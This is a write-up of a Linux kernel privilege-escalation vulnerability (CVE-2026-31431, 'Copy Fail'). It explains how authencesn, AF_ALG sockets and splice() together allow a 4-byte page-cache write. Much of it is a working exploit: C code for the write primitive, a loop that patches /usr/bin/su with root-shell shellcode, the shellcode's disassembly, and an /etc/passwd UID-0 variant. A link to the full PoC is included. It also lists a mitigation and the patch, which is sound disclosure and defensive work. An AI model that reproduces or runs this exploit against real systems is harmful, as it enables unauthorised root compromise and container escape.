Original Discovery: Taeyang Lee, Theori & Xint Code Research Team
Reference: retr0.zip — CVE-2026-31431: Copy Fail
CVE: CVE-2026-31431
Exploit Code: test.c (recreated PoC)
Vulnerability Overview
CVE-2026-31431, codenamed “Copy Fail”, is a local privilege escalation vulnerability affecting every major Linux distribution shipped since 2017 (kernel commit 72548b093ee3).
The vulnerability is a logic flaw in the kernel’s authencesn cryptographic template, chained through AF_ALG sockets and splice(). It gives an unprivileged user a deterministic 4-byte write into the page cache of any readable file.
By corrupting /usr/bin/su (or /etc/passwd) in memory, an attacker can gain a root shell — no race condition, no offsets, no compilation required.
Impact
| Vector | Detail |
|---|---|
| CVSS Score | 7.8 (High) |
| Attack Vector | Local (no network) |
| Privileges Needed | None (unprivileged user) |
| Affected Kernels | All Linux since ~4.13 (2017) |
| Exploit Complexity | Low — deterministic |
| Impact | Full root compromise, container escape |
Technical Deep Dive
1. The Page Cache
Every time we read() a file, the kernel doesn’t go to disk — it goes to the page cache, a system-wide in-memory cache of file data organized by (inode, offset) pairs.
+----------+ +----------+ +----------+|Process A | |Process B | |Process C || read() | | execve() | | mmap() |+-----+----+ +-----+----+ +-----+----+ | | | +---------------+---------------+--+ | v +-----------------------------------+ | Page Cache (RAM) | | | | /usr/bin/su | | +--------+--------+--------+ | | |page 0 |page 1 |page 2 | | | | ELF | .text | .data | | | +--------+--------+--------+ | +----------------+------------------+ | miss -> populate v +-------------------+ | Disk | | /usr/bin/su | +-------------------+Key properties:
- Shared system-wide — two processes in different containers share the same physical pages for the same file
- Corruption is invisible — writing via this exploit never marks the page “dirty”; the file on disk is untouched, but every reader gets the corrupted in-memory version
2. Scatterlists
The kernel often describes buffers spanning non-contiguous physical pages using a scatterlist:
SG Array 1 SG Array 2+-----------------------+ +----------------------+| sg[0]: page_A off=0 | | sg[0]: page_C off=128|| len=4096 | | len=64 [END] |+-----------------------+ +----------------------+| sg[1]: page_B off=0 | ^| len=512 | |+-----------------------+ || sg[2]: CHAIN --------+------------------++-----------------------+- Bit 0 (SG_CHAIN): pointer to next scatterlist array
- Bit 1 (SG_END): last entry in the chain
The critical function is scatterwalk_map_and_copy() — it walks the chain entry-by-entry, maps the target page, and copies data.
3. splice() — Zero-Copy I/O
splice() passes page references instead of copying through userspace:
+--------------+ splice() +------------+ splice() +--------------+| File |+-----------+| Pipe |+-----------+| AF_ALG || (on disk) | | (in mem) | | Socket |+------+-------+ +------------+ +------+-------+ | | +-------------- same physical pages --------------------+ (page cache pages ref'd in TX SGL)No copy at any step. The kernel’s crypto subsystem holds direct pointers to page cache pages.
4. AF_ALG and AEAD
AF_ALG exposes kernel crypto to unprivileged userspace:
int alg_fd = socket(AF_ALG, SOCK_SEQPACKET, 0);struct sockaddr_alg sa = { .salg_family = AF_ALG, .salg_type = "aead", .salg_name = "authencesn(hmac(sha256),cbc(aes))"};bind(alg_fd, (struct sockaddr *)&sa, sizeof(sa));No privileges required. Module auto-loads.
5. authencesn — The ESN Template
For IPsec ESP with Extended Sequence Numbers (RFC 4303). Only seqno_lo goes on the wire; the HMAC must cover the full 64-bit ESN:
Full 64-bit ESN: [ seqno_hi (32 bits) | seqno_lo (32 bits) ] upper lower (on wire)In crypto_authenc_esn_decrypt(), three calls rearrange bytes:
Step 1: Read tmp[0..1] = dst[0..7] -- grab seqno_hi & seqno_loStep 2: Write dst[4..7] = tmp[0] -- move seqno_hi to bytes 4-7 (safe)Step 3: Write dst[assoclen+cryptlen] = tmp[1] -- stash seqno_lo PAST ciphertext6. The 2017 In-Place Optimization
Commit 72548b093ee3 (2017) optimized decryption: point both src and dst to the same scatterlist:
req->src ----+ vreq->dst --> RX Buffer (user mem) ---chain---> TX SGL (page cache pages) +--------+---------+ +------------------+ | AAD | CT | | Tag pages | |(copied)|(copied) | | (PAGE CACHE!) | +--------+---------+ +------------------+ <-- safe to write --> <-- MUST NOT write -->The boundary between “safe” and “page cache” is just an offset in the same scatterlist chain.
7. Why Only authencesn Triggers This
For normal AEAD algorithms during decryption, nobody writes to the tag region of dst:
| Subsystem | Writes to tag region? |
|---|---|
| HMAC engine | Writes to separate buffer |
| Cipher (AES-CBC) | Writes plaintext to RX buffer only |
| Tag verification | Reads only (never writes to dst) |
| authencesn ESN shuffle | Writes 4 bytes at dst[assoclen+cryptlen] |
authencesn is the only algorithm that writes to this region during decryption.
The 4-Byte Write Primitive
dst scatterlist (in-place):
<---- RX buffer (user memory) -----><---- chained TX SGL (PAGE CACHE) ---->+------------------+------------------------+----------------------------+| AAD (8 bytes) | ciphertext (N bytes) | tag pages from splice() |+--------+---------+-----------+------------+-------------+--------------+ | | | v v v Step 2 writes here cipher decrypt Step 3 writes here dst[4..7] = seqno_hi writes here dst[assoclen+cryptlen] (safe, user mem) (safe, user mem) = seqno_lo PAGE CACHE!What the attacker controls:
- Value: bytes 4-7 of the AAD (attacker-chosen via
sendmsg()) - Target file: any readable file (opened
O_RDONLY,splice()-d) - Offset: via
splice()file offset and crypto params - The write happens before HMAC verification — HMAC fails,
recv()errors, but 4 bytes are already written
Exploit Code Walkthrough
Full code: test.c
Step 1: Open AF_ALG socket
int sock_fd = socket(AF_ALG, SOCK_SEQPACKET, 0);struct sockaddr_alg sa = { .salg_family = AF_ALG, .salg_type = "aead", .salg_name = "authencesn(hmac(sha256),cbc(aes))"};bind(sock_fd, (struct sockaddr *)&sa, sizeof(sa));Step 2: Configure crypto params
// Key: rtattr header + crypto_authenc_key_param// 0x0800 0100 = rta_len=8, rta_type=CRYPTO_AUTHENC_KEYA_PARAM(1)// 0x00000010 = enckeylen=16 (AES-128, big-endian)static const unsigned char key[8 + 32] = { 0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x10,};
setsockopt(sock_fd, SOL_ALG, ALG_SET_KEY, key, sizeof(key));setsockopt(sock_fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4);int req_fd = accept(sock_fd, NULL, NULL);Key value is irrelevant — HMAC will fail, but corruption happens before verification.
Step 3: The write4() Primitive
void writebytes(int req_fd, int our_fd, int idx) { // 3a: Build AAD -- bytes 4-7 become seqno_lo (the written value) uint8_t aad[8] = {0x41, 0x41, 0x41, 0x41, shell[idx], shell[idx+1], shell[idx+2], shell[idx+3]};
// 3b: Build cmsg headers (ALG_SET_OP, ALG_SET_IV, ALG_SET_AEAD_ASSOCLEN) struct msghdr msg = { .msg_iov = &(struct iovec){ .iov_base = aad, .iov_len = 8 }, .msg_iovlen = 1, .msg_control = cbuf.buf, .msg_controllen = sizeof(cbuf.buf), };
// 3c: sendmsg() with MSG_MORE -- sends AAD, signals more data via splice sendmsg(req_fd, &msg, MSG_MORE);
// 3d: splice() target file page cache into the socket (by reference!) int pipefd[2]; pipe(pipefd); off_t file_off = 0; splice(our_fd, &file_off, pipefd[1], NULL, idx + 4, 0); splice(pipefd[0], NULL, req_fd, NULL, idx + 4, 0);
// 3e: recv() triggers decrypt -- 4 bytes written, HMAC fails, we don't care char buf[4096]; recv(req_fd, buf, sizeof(buf), 0); // error expected
close(pipefd[0]); close(pipefd[1]);}Step 4: Overwrite target binary, 4 bytes at a time
int our_fd = open("/usr/bin/su", O_RDONLY);
// 192-byte ELF shellcode: setgid(0) -> setuid(0) -> setgroups -> execve("/bin/sh")for (int i = 0; i < 192; i += 4) { writebytes(req_fd, our_fd, i);}
// Page cache now contains shellcodeexecl("/usr/bin/su", NULL); // loads from corrupted page cache -> root shellShellcode Disassembly
; setgid(0) + setuid(0) + setgroups(0, NULL)xor edi, edi ; rdi = 0xor esi, esi ; rsi = 0xor eax, eax ;mov al, 0x6a ; __NR_setgid = 106syscallmov al, 0x69 ; __NR_setuid = 105syscallmov al, 0x74 ; __NR_setgroups = 116syscall
; execve("/bin/sh", ["/bin/sh", NULL], NULL)push 0lea rax, [rip + 0x12]push raxmov rdx, rsplea rdi, [rip + 0x12]xor esi, esipush 0x3b ; __NR_execve = 59pop raxsyscall
; Strings: "TERM=xterm\0" "/bin/sh\0"Why This Is NOT an OOB Write
The write is within bounds of the dst scatterlist. scatterwalk_map_and_copy() finds a valid entry with a valid struct page* and valid length, maps the page, writes to it.
- No buffer overflow
- No use-after-free
- No KASAN splat
- Everything is “correct” from the MM perspective
It’s an OWNERSHIP bug, not a SIZE bug. The page belongs to the page cache, not to the crypto operation.
Container Escape
The page cache is per-filesystem, not per-namespace. Corrupt /usr/bin/su from inside a container, and the host’s su is corrupted too.
The chmod 4711 Non-Fix
Removing read permission from setuid binaries (chmod 4711) doesn’t work. The primitive targets any readable file.
Alternative: /etc/passwd — world-readable. Change user:x:1000: to user:x:0000: in the page cache. Then su - user authenticates against /etc/shadow (untouched) but getpwnam() reads corrupted cache → UID 0.
Mitigation & Patch
The Patch — Commit a664bf3d603d reverts the in-place optimization, keeping src and dst as separate scatterlists.
Quick Mitigation:
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.confrmmod algif_aead 2>/dev/null || trueDoes not affect dm-crypt, kTLS, IPsec, OpenSSL, SSH.
Summary
CVE-2026-31431: Copy Fail
splice() AF_ALG/AEAD In-Place Opt (2017) (zero-copy I/O) (unpriv crypto API) (commit 72548b093ee3) | | | +--------------------+-----------------------+--+ | v authencesn ESN byte rearrangement writes 4 bytes to dst[assoclen+cryptlen] | v Page Cache of /usr/bin/su (or /etc/passwd) | v ROOT SHELL
Why KASAN never caught it (8 years): -> Not an OOB write, just wrong ownershipReferences
| Resource | Link |
|---|---|
| Official Copy Fail Page | https://copy.fail/ |
| Xint Code Research Team | https://xint.dev/blog/copy-fail |
| retr0.zip Blog | https://retr0.zip/blog/cve-2026-31431-copy-fail.html |
| Recreated PoC (test.c) | https://github.com/Rahulrajln1111/Writeups/blob/main/CVE-2026-31431-Copy-Fail/test.c |
| Bug Introduction | Commit 72548b093ee3 |
| The Fix | Commit a664bf3d603d |
| CVE Entry | https://nvd.nist.gov/vuln/detail/CVE-2026-31431 |
This writeup documents a recreated exploit for CVE-2026-31431.
All credit for the original discovery goes to Taeyang Lee, Theori, and the Xint Code Research Team.